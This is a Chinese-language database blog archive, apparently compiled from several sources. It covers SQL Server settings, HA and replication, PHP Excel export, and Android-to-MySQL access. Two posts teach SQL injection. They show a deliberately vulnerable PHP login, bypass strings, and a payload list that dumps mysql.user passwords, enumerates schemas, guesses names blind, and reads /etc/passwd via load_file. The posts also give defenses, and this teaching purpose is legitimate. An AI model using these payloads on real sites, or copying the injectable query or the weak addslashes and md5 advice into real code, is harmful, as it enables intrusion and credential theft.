Pages

Subscribe:

Ads 468x60px

Labels

顯示具有 資料庫 標籤的文章。 顯示所有文章
顯示具有 資料庫 標籤的文章。 顯示所有文章

2016年10月25日 星期二

SQL Server 2008 不允許儲存變更

資料來源

使用SQL SERVER 2008 當直接使用SQL Server Management Studio修改Table 欄位格式或是其他DDL定義時,就會引發跳出下列錯誤訊息
不允許儲存變更。 您所做的變更會需要下列資料表卸除並重新建立。 您有做任何變更一個資料表,無法重新建立或啟用選項會防止儲存變更,需要重新建立資料表。
SQL 不允許變更Error Message 



這是因為SQL Server 2008預設不允許由圖形介面來變更資料表格式  ,下列行為就會引發上列訊息
1.變更資料行 允許 Null 設定。
2.重新排序資料表中的資料行。
3.變更資料行資料型別。
4.加入新的資料行。



SQL Server 2008會預設不允許由圖形介面來變更資料表格式,主要是因為怕手誤與大量的資料格式異動造成資料鎖定或資料遺失,這是重要的保護,但是卻造成麻煩
如果要取消此預設設定,可以依下列步驟:
開啟SQL Server Management Studio-->工具-->選項-->Designers(設計師)-->資料表和資料庫設計工具-->防止儲存需要資料表重建的變更  
      -->取消勾選 即可!如下圖:
預設不允許直接變更資料表
  

但是MSDN上有附註說明停用這選項造成的影響如果您停用這個選項,會不警告您儲存資料表時,已變更資料表的中繼資料結構。在這種情況下儲存資料表時,可能會發生資料遺失。
所以如果可以還是建議以T-SQL命令,去變更資料表。

2016年9月13日 星期二

MS SQL HA的4種做法

資料來源

資料庫High Availability (HA),微軟SQL Server共有4種做法。
  1. Failover Clustering
  2. Database Mirroring
  3. Log Shipping
  4. Replication

Failover Clustering
把兩台以上SQL Server組成Cluster,讓SQL Server個體(Instance)隨時保持同步的狀態。
每一台SQL Server稱為一個node,這些nodes連結在一個storage,例如san或是iscsi。

同一時間只有一個node是active,
當active node掛掉了,會failover到另一個node,以繼續提供服務。

在SQL Server個體的授權上,由於同一時間只有一個node是active,
所以只有active那個需要授權,passive的node是不需要授權的。

由於是Cluster架構,所以發生問題時,切換速度最快!
但因要綁storage,所以硬體價格最貴。


Database Mirroring
透過SQL的Mirror鏡像機制,將主Server(Principal)的資料庫,覆寫於目標Server(Mirror)中。

Mirror機制是針對資料庫進行覆寫,
不同於Cluster機制是將個SQL Server Instance進行同步。

有High-Safety Mode/High-Performance Mode兩種模式,
其中High-Safety Mode需再搭配一台Server(Witness)來進行auto failover的切換。
系統切換時,active的Server IP會變成目標Server IP,
所以在程式開發上,必需將Connection String中加入Failover_Partner的關鍵字,
以自動切換到active主機。

於Mirror機制下,目標資料庫是處理還原狀態,無法提供使用,
所以目標資料庫是不需要授權的。

參考文章http://caryhsu.blogspot.tw/2011/12/sql-s...-mirroring.html


Log Shipping
透過SQL的Log Shipping交易記錄傳送機制。
利用排程,於固定時間內,將主Server的資料庫,覆寫到目標Server中。

Log Shipping與Mirror相同,都是針對資料庫進行覆寫,而不是SQL Server Instance。
與Mirror不同的是,它只能進行資料庫覆寫,無法進行auto failover切換。

當主Server掛掉時,可藉由手動還原log方式,將資料庫上線供AP使用。
由於是透過排程於固定時間內覆寫資料,所以會資料遺失上的風險。

於Log Shipping機制下,目標資料庫是處理還原狀態,無法提供使用,
所以目標資料庫是不需要授權的。

參考文章http://caryhsu.blogspot.tw/2012/02/log-shipping.html


Replication
Replication複寫是透過SQL Agent將主Server的資料庫複製後,再發行到另一台Server上。

Replication與Log Shipping及與Mirror相同,都是針對資料庫進行覆寫,
而不是SQL Server Instance。

在Replication機制中,主Server與目標Server均可讀寫。
主Server上的異動會立即反映到目標Sever,
但目標Server的異動則不會影響主Sever。

當主Server掛掉時,必需手動修改AP對應到目標Server。

於Replication機制下,主Server與目標Server均是獨立且完整讀寫之個體;
所以不論主資料庫或是目標資料庫,都是需要授權的。

參考文章http://blog.xuite.net/tolarku/blog/41423198

SQL Server 2008 複寫實作

資料來源
你不可不知的複寫常識
複寫用來複製資料和資料庫物件的一項強大的功能,是大型資料庫或資料庫同步維持資料一致性的功能
透過各種網路、撥接連線,將資料散佈到不同地點上,即然是複寫了顧名思義,就是將資料同步的寫到各個不同的資料庫伺服器上
你不可不知的複寫常識 複寫用來複製資料和資料庫物件的一項強大的功能,是大型資料庫或資料庫同步維持資料一致性的功能
透過各種網路、撥接連線,將資料散佈到不同地點上,即然是複寫了顧名思義,就是將資料同步的寫到各個不同的資料庫伺服器上
當然在整個資料庫的複寫中,也有考量到效能處理及資料庫結構問題,又分為三種複寫架構:交易式、合併式、快照式。
快照式複寫:資料變更數量大,但次數不用太頻繁的同步複寫時,最適合使用快照式複寫。
在所有複寫功能中快照式在「發行者」端負擔較小,因為他不用追踨累加變更的資料,只需要將資料庫中的資料做快照即可。
例如,在整個整批交易中,每天共有三十萬筆資料,一天只需要傳回總部一次,那麼快照式複寫就可以較有效率的將資料複寫回去。
※此種複寫需要每一張表都有Identify欄位。
交易式複寫:當資料有任何改變時,會主動的傳遞到訂閱者,預設交易式複寫是唯讀存取,因此在訂閱者端有任何資料的改變
是不會傳遞回到發行者端的。不過交易式複寫是可以設定成訂閱者亦可更新資料。
這種複寫狀態會有較大的彈性並且於資料端有大量的更新或插入、刪除的動作,適合非MS SQL Server資料庫做同步的複寫方式。
※此種複寫在發行資料庫下會主動的配置交易記錄,透過交易記錄來執行複寫轉送,當使用這種複寫方式在資料尚未完全移動到散發資料庫前,記錄檔無法被截斷。
※所有交易式複寫的資料表上,必須包含主索引鍵,否則無法被利用來發送。
合併式複寫:與交易式複寫很類似,是在發行者上發佈後,訂閱者存資料時,之主動的交換最後一次同步處理所變更過的資料。
通常這種複寫是較適合在多個訂閱者可能會在不同時間之下更新相同的資料,較容易產生資料衝突,當資料產生衝突時,必須由DBA進行排解。
※此種複寫會自動建立一組GUID資料行,且支援Timestamp資料行,在訂閱者套用快照集時會重新產生timestamp,驗證timestamp是否為可用快照。
環境限制和需求 不論在那一種複寫狀況之下,建立快照集資料夾的安全問題都是需要被重視的,因此在資料庫複寫的過程中,快照夾實體目錄權限就必須考慮進來,
使用何種複寫則必須視你所貼近的環境來選用,若資料庫設計時,並無使用identify,或並無使用索引欄位,那麼於快照及交易複寫就不適用,除非改變資料庫內容。
實作注意事項 在實作時,必須先選擇何者為發行者、散發者、訂閱者…等等的角色定義。(總是要知道誰負責發資料、誰是來接受同步資料的角色吧)
多數的工作是著在發行者身上,其它的資料處理同步,就可以透過代理程式來決定運作在訂閱者發起同步令命,還是由訂閱者發起呢?
若是遠端的資料庫同步(跨WAN)則必須透過VPN達成複寫或是Web同步處理方式,畢竟複寫是必須透過網芳、或XML訊息傳遞來處理。
在實作的過程中,有一個問題產生了,因SQL是建置在WINDOWS之上,又有使用網芳傳遞,那麼如何確認每個資料庫的同步是沒有問題的呢?
因此在複寫的安全架構下,必須將SQL Server Agent的啟動帳戶設定為相同的實體本機帳號,另外網路上存取網芳亦必須開通由這幾台db可存取。

SQL Server 2008 數據庫同步的兩種方式 (發布、訂閱)

資料來源
時間:2012-07-30 18:03來源:Internet 作者:Internet 
1、找到數據庫服務器下的【复制】--【本地發布】,選擇【新建發布】。如下圖:   2、選擇待發布的數據庫。如下圖:   3、選擇發布類型。這裏選擇的默認類型【快照發布】。幾種發布類型的區別,SQL
1、找到數據庫服務器下的【复制】--【本地發布】,選擇【新建發布】。如下圖:
  2、選擇待發布的數據庫。如下圖:
  3、選擇發布類型。這裏選擇的默認類型【快照發布】。幾種發布類型的區別,SQL SERVER都在下面给出了說明。如下圖:
  4、選擇待發布的類容。如下圖:
  上圖中右側就是篩選的SQL語句。
  5、設置快照代理。如下圖:
  更改同步頻率如下圖:
  6、設置代理安全性。如下圖:
  7、填寫發布名稱
  8、完成發布。如下圖:
  二、訂閱。訂閱是對數據庫發布的快照進行同步,將發布的數據源數據同步到目標數據庫。具體訂閱過程如下;
  1、找到數據庫服務器下的【复制】--【本地訂閱】,選擇【新建訂閱】。如下圖:
  2、選擇訂閱的發布。如下圖:
  3、選擇分發代理的位置;如下圖:
  4、選擇訂閱服務器上的存放同步過來的數據的一個或者多個目標數據庫。如下圖:
  若要添加多個訂閱數據庫,則點擊【添加訂閱服務器】。如下圖:
  5、設置分發代理的安全性。如下圖:
  6、設置同步計劃。如下圖:
  7、完成訂閱。如下圖:
  這样就完成了發布與訂閱的整個流程。
  這裏,和上節一起就介紹完了SQL Server數據庫同步的兩種方式,希望對你有用。

2016年4月30日 星期六

C# Crystal Reports Tutorial

這是國外的教學資源
內容相當不錯

資料來源

Crystal Report is a Reporting Application that can generate reports from various Data Sources like Databases , XML files etc.. The Visual Studio.NET Integrated Development Environment comes with Crystal Reports tools. The Crystal Reports makes it easy to create simple reports, and also has comprehensive tools that you need to produce complex or specialized reports in csharp and other programming languages.
Crystal Reports is compatible with most popular development environments like C# , VB.NET etc. You can use the Crystal Reports Designer in Visual Studio .NET to create a new report or modify an existing report.
From the following sections you can find useful resources for generating customized reports from Crystal Reports with C# .

2015年4月10日 星期五

SQL injection 基本介紹

SQL injection(又稱SQL注入式攻擊 或是 SQL資料隱碼攻擊),指的是利用SQL指令的輸入字串中夾帶其他的SQL指令,一般來說都是從正當的查詢指令中夾帶惡意指令
例如:非法取得資料、惡意破壞資料...等。因此在程式設計時,也必須把這個基本的安全性給考慮進去。
下面就介紹一個基本的SQL injection範例(以帳號登入為例)
首先,我們先建立一個HTML表單來傳送資料
<form action="testsql.php" method="post">
帳號:<input type="text" name="account"><br>
密碼:<input type="password" name="password"><br>
<input type="submit" value="送出">
</form>
同時也建立一個資料庫來做測試
sql 

接著就可以撰寫接收端程式
 //接收帳號、密碼
 $account = $_REQUEST['account'];
 $pass = $_REQUEST['password'];
 //密碼使用md5加密
 $password = md5($pass);
 //查詢有無符合帳號資料
  $sql = "SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
  $res = mysql_query($sql);
  $result = mysql_fetch_array($res);
  if(empty($result)){
     //若無符合顯示查無帳號
     echo "查無此帳號<br>";
     echo $sql;
     echo "<br>輸入帳號".$account;
     echo "<br>輸入密碼".$pass;
}else{
//若符合顯示帳號、密碼資訊
     echo "帳號:".$account;
     echo "<br>密碼:".$pass;
     echo "<br>".$sql;
}
以此例說明:
當帳號輸入"' OR ''=''#" 或是 "' OR ''=''-- "(雙引號內字串)就可以進行非法登入(如下圖)
input1或是   input2  

原理:在SQL指令中 "#"和"-- "代表注釋
因此原本輸入的查詢是
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
會變成account欄位等於空 或是 ''='' ,後面的密碼則被注釋掉了
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."'' OR ''=''";
而後者條件成立,SQL指令就會開始執行(如下圖,此例取出第一筆資料)
output1 

解決這類型的非法登入的方式有幾種:
1. 使用正則表達式過濾字串;這是最搞剛卻也最安全的作法
2. 使用addslashes();這個函數會在所有的單引號前加上反斜線
下面就用addslashes()來簡單說明
//在接收的參數錢加上addslashes()
$account = addslashes($_REQUEST['account']);
$pass = addslashes($_REQUEST['password']);
再測試非法登入
output2 

輸入的資料經過轉換後,單引號的作用就失效了
這樣就能有效防範非法登入,而且對於一般人使用正當登入方法不受影響

SQL Injection 常見的駭客攻擊方式

Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。

SQL 語法的註解

SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。

防護方式

Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,md5 目前也已經有破解方式了,使用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:$name=eregi_replace("[\']+" , '' ,$name); Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#

SQL Injection 攻擊

取得 Table name

如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜測 Table Name

資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 資料庫相關訊息

取得連線帳號 user()
  • sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
  • sqlInjection.php?id=1' select 1,2,version()/*

讀取系統檔案內容

透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", '', 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\'');
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 數字
  • PDO::PARAM_STR 字串

相關教學下載

2014年3月7日 星期五

從PHP網頁將資料匯出成Excel檔

[Dreamweaver]從PHP網頁將資 料匯出成Excel檔

雖然網路上已經有重點說明,但對於習慣使用DW的我,還是不能符合需求....
自己試了很久....才試出我要的方式 -- 呼叫資料庫的資料,按連結轉成excel檔
做法:
資料庫名稱test,資料表ta和tb
          資料表ta
aidaclassaname
11蘋果
21鳳梨
32波蔡
42小白菜
53豬肉
63牛肉
74金魚
84吳郭魚
       
         資料表tb
aclassclassname
1水果
2蔬菜
3肉類
4魚類
1.將表格和頁首設定好,並做一個連結,作為下載excel的按鈕


匯出excel檔


 
  td> 
編號種類名稱< /td>
 
 

匯出excel



2.連到資料庫,新增資料集Recordset1,用進階選項,SQL內填入:
SELECT ta.aid, ta.aname, tb.classname FROM ta LEFT JOIN tb ON ta.aclass = tb.aclass GROUP BY ta.aid, ta.aname
新增一樣的資料集,名稱為Recordset2


if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);
  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}
 
mysql_select_db($database_testbata, $testbata);
$query_Recordset1 = "SELECT ta.aid, ta.aname, tb.classname FROM ta LEFT JOIN tb ON ta.aclass = tb.aclass GROUP BY ta.aid, ta.aname";
$Recordset1 = mysql_query($query_Recordset1, $testbata) or die(mysql_error());
$row_Recordset1 = mysql_fetch_assoc($Recordset1);
$totalRows_Recordset1 = mysql_num_rows($Recordset1);
 
mysql_select_db($database_testbata, $testbata);
$query_Recordset2 = "SELECT ta.aid, ta.aname, tb.classname FROM ta LEFT JOIN tb ON ta.aclass = tb.aclass GROUP BY ta.aid, ta.aname";
$Recordset2 = mysql_query($query_Recordset2, $testbata) or die(mysql_error());
$row_Recordset2 = mysql_fetch_assoc($Recordset2);
$totalRows_Recordset2 = mysql_num_rows($Recordset2);
?>
...

3.將資料顯示於table內,重複區域

...

 
  
編號種類名稱< /td>
>

...

4.複製下面語法至內最後面

if ($_GET['act']=='download') {
  downloadxls();
  die();
}
function downloadxls(){
$filename="test.xls";
header("Content-disposition: filename=$filename");
header("Content-type: application/octetstream");
header("Pragma: no-cache");
header("Expires: 0");
}

5.複製table語法貼於function內;剪下php內的Recordset2部分,貼於function內;並做修改

function downloadxls(){
$query_Recordset2 = "SELECT ta.aid, ta.aname, tb.classname FROM ta LEFT JOIN tb ON ta.aclass = tb.aclass GROUP BY ta.aid, ta.aname";  
$Recordset2 = mysql_query($query_Recordset2);
$totalRows_Recordset2 = mysql_num_rows($Recordset2);
 
$filename="test.xls";
header("Content-disposition: filename=$filename");
header("Content-type: application/octetstream");
header("Pragma: no-cache");
header("Expires: 0");
 
echo "& lt;td>名稱
編號種類
";
for ($i=0;$i<$totalRows_Recordset2;$i++)
{
$row_Recordset2 = mysql_fetch_array($Recordset2);
echo " ".$row_Recordset2['aid']."".$row_Recordset2['aname']."".$row_Recordset2['classname']." ";
$j=$i+1;
}
echo "
";
}


2013年5月18日 星期六

Android通过PHP连接MySQL(读取)


1. 通过 MySQL在windows下的配置 中介绍第二种方法,在服务器机器上配置php和mysql环境,譬如我的服务器机器ip为:10.141.249.136

2. 新建在test数据库下新建一个teacher表,表的内容如下:

Android通过PHP连接MySQL(读取)

3. 在服务器机器上的phpnow安装目录E:\PHPnow-1.5.5\htdocs下新建一个test.php文件,文件内容如下:

$link=mysql_connect("127.0.0.1","root","123456");
mysql_query("SET NAMES utf8");
mysql_select_db("test",$link);
$sql=mysql_query("select * from teacher ",$link);
while($row=mysql_fetch_assoc($sql))
$output[]=$row;
print(json_encode($output));
mysql_close();
?>

4. 新建一个Android Java Project
需要修改的是一下三个文件:AndroidTestActivity.java、main.xml、AndroidManifest.xml
//AndroidTestActivity.java
package com.knight.android.test;//根据实际的工程需要,修改包的名称

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;

import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import android.app.Activity;
import android.net.ParseException;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;

public class AndroidTestActivity extends Activity {
JSONArray jArray;
String result = null;
InputStream is = null;
StringBuilder sb=null;
@Override
public void onCreate(Bundle savedInstanceState) {
     super.onCreate(savedInstanceState);
     setContentView(R.layout.main);
     Button b1 = (Button) findViewById(R.id.button1);
     b1.setOnClickListener(new Button.OnClickListener() {
     @Override
     public void onClick(View v) {
     // TODO Auto-generated method stub
     EditText tv = (EditText) findViewById(R.id.editView);
     ArrayList nameValuePairs = new ArrayList();
     //http get
     try{
          HttpClient httpclient = new DefaultHttpClient();
          HttpGet httpget = new HttpGet("http://10.141.249.136/test.php");
          HttpResponse response = httpclient.execute(httpget);
          HttpEntity entity = response.getEntity();
          is = entity.getContent();
     }catch(Exception e){
          Log.e("log_tag", "Error in http connection"+e.toString());
     }
     //convert response to string
     try{
          BufferedReader reader = new BufferedReader(new InputStreamReader(is,"iso-8859-1"),8);
          sb = new StringBuilder();
          sb.append(reader.readLine() + "\n");
 
          String line="0";
          while ((line = reader.readLine()) != null) {
               sb.append(line + "\n");
          }
          is.close();
          result=sb.toString();
     }catch(Exception e){
          Log.e("log_tag", "Error converting result "+e.toString());
     }
     //paring data
     int ct_id;
     String ct_name;
     try{
          jArray = new JSONArray(result);
          JSONObject json_data=null;
          for(int i=0;i
               json_data = jArray.getJSONObject(i);
               ct_id=json_data.getInt("id");
               ct_name=json_data.getString("name");
               tv.append(ct_name+" \n");
          }
     }catch(JSONException e1){
          //   Toast.makeText(getBaseContext(), "No City Found" ,Toast.LENGTH_LONG).show();
     } catch (ParseException e1) {
          e1.printStackTrace();
     }
}
});
}
}

layout/main.xml
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical" >
    

AndroidManifest.xml
    package="com.knight.android.test"
    android:versionCode="1"
    android:versionName="1.0" >
    
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        
            android:name=".AndroidTestActivity"
            android:label="@string/app_name" >
            
                

                
            
        
    
    
    


5. 运行结果如下图:
Android通过PHP连接MySQL(读取)

点击click以后,Android会向服务器发送一个Http Get请求,服务器从mysql中读取数据后,传送给Android客户端,客户端编码数据包,然后返回如下结果:

Android通过PHP连接MySQL(读取)

注意:
(1)AndroidManifest.xml中不能出现这种属性,否则Android客户端无法连接到远程服务器
(2)如果在本机搭建mysql和php环境,以上程序(AndroidTestActivity.java)中红色部分应更改为:
HttpGet httpget = new HttpGet("http://10.0.2.2/test.php");
    127.0.0.1表示手机的本机ip,因为程序最终是在手机上跑的
(3)如果读者自定义的工程,需要修改一下几个地方:
  • 第一个是 AndroidTestActivity.java 程序里面的package名称package com.knight.android.test;这个根据读者自己定义的包要做出相应的修改(绿色部分)
  • 第二个是修改 AndroidManifest.xml里面第三行的package=" com.knight.android.test",要保持绿色部分和第一条中的绿色部分相对应
  • 第三点是修改AndroidManifest.xml里面activity下面的 android:name=". AndroidTestActivity",将绿色部分修改为 AndroidTestActivity.java的红色部分(也就是类名)
(4)在MySQL中把编码设置成utf8_unicode_ci,在浏览器中输入:localhost/test.php,如果中文出现乱码,可以把输出的内容复制到http://tools.jb51.net/tools/json/json_editor.htm,如果在这里能显示正常,则说明实际上是的对的,因为浏览器输出的是json编码
(5)更多内容还可以参考: http://blog.sptechnolab.com/2011/02/10/android/android-connecting-to-mysql-using-php/ ,这个网站中部分内容是错的,择其善者而从之